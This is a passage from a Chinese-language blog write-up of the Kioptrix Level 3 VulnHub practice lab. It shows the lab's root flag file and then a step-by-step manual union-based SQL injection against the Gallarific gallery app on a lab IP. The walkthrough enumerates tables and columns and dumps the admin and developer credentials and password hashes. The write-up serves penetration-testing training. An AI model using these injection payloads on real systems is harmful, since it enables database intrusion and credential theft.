/usr/share/ri/1.8/system/REXML/Document/root-i.yaml
/usr/share/ri/1.8/system/REXML/Element/root-i.yaml
/usr/share/ri/1.8/system/REXML/Element/root_node-i.yaml
/usr/share/ri/1.8/system/REXML/Light/Node/root-i.yaml
/usr/share/ri/1.8/system/SOAP/MIMEMessage/root-i.yaml
/usr/share/ri/1.8/system/SOAP/SOAPBody/root_node-i.yaml
/usr/share/ri/1.8/system/SOAP/SOAPType/rootnode-i.yaml
/var/log/fsck/checkroot

其中/root/Congrats.txt嫌疑最大,

root@Kioptrix3:~# cat Congrats.txt
Good for you for getting here.
Regardless of the matter (staying within the spirit of the game of course)
you got here, congratulations are in order. Wasn't that bad now was it.

Went in a different direction with this VM. Exploit based challenges are
nice. Helps workout that information gathering part, but sometimes we
need to get our hands dirty in other things as well.
Again, these VMs are beginner and not intented for everyone.
Difficulty is relative, keep that in mind.

The object is to learn, do some research and have a little (legal)
fun in the process.


I hope you enjoyed this third challenge.

Steven McElrea
aka loneferret
http://www.kioptrix.com


Credit needs to be given to the creators of the gallery webapp and CMS used
for the building of the Kioptrix VM3 site.

Main page CMS:
http://www.lotuscms.org

Gallery application:
Gallarific 2.1 - Free Version released October 10, 2009
http://www.gallarific.com
Vulnerable version of this application can be downloaded
from the Exploit-DB website:
http://www.exploit-db.com/exploits/15891/

The HT Editor can be found here:
http://hte.sourceforge.net/downloads.html
And the vulnerable version on Exploit-DB here:
http://www.exploit-db.com/exploits/17083/


Also, all pictures were taken from Google Images, so being part of the
public domain I used them.

看來應該是沒錯。


0x02' 漏洞探測

探測網頁漏洞另一種方式:

首先到這個網址: http://192.168.44.131/gallery/gallery.php?id=1&sort=photoid#photos

不過這網址怎麼來的其實很玄,照這個網站,先到首頁到根據以下紅框點選:

即可得到上述網址。但其實真的照點,應該會被導到:

http://192.168.44.131/gallery/g.php/1

不過不管,直接到該網址後:

這裡試試id後加單引號(紅圈圈處),根據錯誤訊息知道有SQL injection。

首先要猜資料庫column有幾列

http://192.168.44.131/gallery/gallery.php?id=-1 order by 5 --+ &sort=photoid#photos

http://192.168.44.131/gallery/gallery.php?id=-1 order by 6 --+ &sort=photoid#photos

http://192.168.44.131/gallery/gallery.php?id=-1 order by 7 --+ &sort=photoid#photos

所以是六列。

接下來尋找哪一列的值會顯示在網頁上:

http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,2,3,4,5,6 --+ &sort=photoid#photos

利用這兩個回顯點,輸出想看的訊息,也就是把網址的2跟3換成sql的指令。

http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,database(),user(),4,5,6 --+ &sort=photoid#photos

http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,user(),database(),4,5,6 --+ &sort=photoid#photos

http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,@@version,database(),4,5,6 --+ &sort=photoid#photos

得到資料庫的所有表(table):

http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(table_name),database(),4,5,6 from information_schema.tables where table_schema=database() --+ &sort=photoid#photos

注意網址在6後面還接著from information_schema.tables where table_schema=database()

table裡面最後一個gallarific_users跟第一個dev_accounts還滿有興趣的,想得到gallarific_users這個table中的字段名

http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name='gallarific_users' --+ &sort=photoid#photos

被發現了有這些字:

userid,username,password,usertype,firstname,lastname,email,datejoined,website,issuperuser,photo,joincode

重要的是第二個跟第三個,username跟password。

查gallarific_users裡面的帳號密碼:

http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(username,0x7e,password),database(),4,5,6 from gallarific_users --+ &sort=photoid#photos

group_concat(username,0x7e,password)之中的0x7e是波浪狀符號,所以如上圖,username是admin、password是n0t7t1k4。

再找找dev_accounts的:

http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(column_name),database(),4,5,6 from information_schema.columns where table_name='dev_accounts' --+ &sort=photoid#photos

也同樣有username跟password。

查gallarific_users裡面的帳號密碼:

http://192.168.44.131/gallery/gallery.php?id=-1 union select 1,group_concat(username,0x7e,password),database(),4,5,6 from dev_accounts --+ &sort=photoid#photos

看上圖紫色字,dreg0d3eccfb887aabd50f243b3f155c0f85

loneferret5badcaf789d3d1d09794d8f021f40f0e

接下來就接上面0x03一樣。

Reference

The Deadline: Kioptrix: Level 1.2 (#3) Write-up
abatchy's blog | Kioptrix 3 Walkthrough (Vulnhub)
exploitdb/18565.rb at master · offensive-security/exploitdb · GitHub
LotusCMS eval() Remote Command Execution - Manual Exploitation - YouTube
LotusCMS-Exploit/lotusRCE.sh at master · Hood3dRob1n/LotusCMS-Exploit · GitHub
Url Encode / Decode - 將字串轉換為Url Encode / Decode 編碼 解碼 - ez2o Studio
https://mks.tw/3045/%E8%B3%87%E8%A8%8A%E5%AE%89%E5%85%A8-vulnhub-kioptrix-level-1-2-3-write-up
https://zhuanlan.zhihu.com/p/185848966
https://www.somd5.com
[Reply] Linux中的sudoers檔案設定簡介 - iT 邦幫忙::一起幫忙解決難題,拯救 IT 人的一天
https://lonelysec.com/vulnhub-x-kioptrix-level-1-2-3/
Vulnhub滲透測試練習-Kioptrix 3 - ITW01
Kioptrix Level3(#1.3) Walkthrough - ごちうさ民の覚え書き
https://blog.csdn.net/YouthBelief/article/details/121511584
https://blog.csdn.net/warmjuhao/article/details/78262100


#attack #Vulnhub #SQL Injection #LotusCMS







Related Posts

Day 137

Day 137

關於 React 小書:PropTypes 和 Component 參數驗證

關於 React 小書:PropTypes 和 Component 參數驗證

在 React 刪除 todo 的方法

在 React 刪除 todo 的方法


Comments